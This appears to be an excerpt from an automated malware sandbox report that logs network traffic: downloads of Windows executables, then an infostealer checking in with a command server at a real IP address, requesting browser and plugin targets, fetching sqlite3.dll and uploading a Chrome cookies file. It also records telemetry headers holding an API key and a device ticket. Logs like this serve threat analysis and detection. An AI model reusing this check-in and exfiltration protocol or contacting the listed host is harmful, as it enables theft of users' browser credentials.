c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 a7 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:02:58 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Mon, 18 Nov 2024 23:53:46 GMTConnection: keep-aliveETag: "673bd38a-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 82 d3 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 75 95 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 58 a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 a7 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:03:03 GMTContent-Type: application/octet-streamContent-Length: 2819584Last-Modified: Mon, 18 Nov 2024 23:54:13 GMTConnection: keep-aliveETag: "673bd3a5-2b0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 f2 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 67 74 78 73 6f 68 63 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 61 72 6a 65 76 74 00 20 00 00 00 60 2b 00 00 06 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:03:21 GMTContent-Type: application/octet-streamContent-Length: 2819584Last-Modified: Mon, 18 Nov 2024 23:54:15 GMTConnection: keep-aliveETag: "673bd3a7-2b0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 f2 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 67 74 78 73 6f 68 63 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 61 72 6a 65 76 74 00 20 00 00 00 60 2b 00 00 06 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:03:32 GMTContent-Type: application/octet-streamContent-Length: 2819584Last-Modified: Mon, 18 Nov 2024 23:54:15 GMTConnection: keep-aliveETag: "673bd3a7-2b0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 f2 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 67 74 78 73 6f 68 63 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 61 72 6a 65 76 74 00 20 00 00 00 60 2b 00 00 06 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731974765343Host: self.events.data.microsoft.comContent-Length: 7972Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDGHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 35 33 36 44 45 36 42 35 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="hwid"11536DE6B591922063497------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="build"mars------JKFIDGDHJEGIEBFHDGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="message"browsers------BAEBFIIECBGCBGDHCAFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 2d 2d 0d 0a Data Ascii: ------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="message"plugins------DBFIEHDHIIIECAAKECFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="message"fplugins------BFIDGHDBAFIJJJJKJDHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJKHost: 185.215.113.206Content-Length: 6459Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJEHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GHJDBAKEHDHDGCAKKJJE--
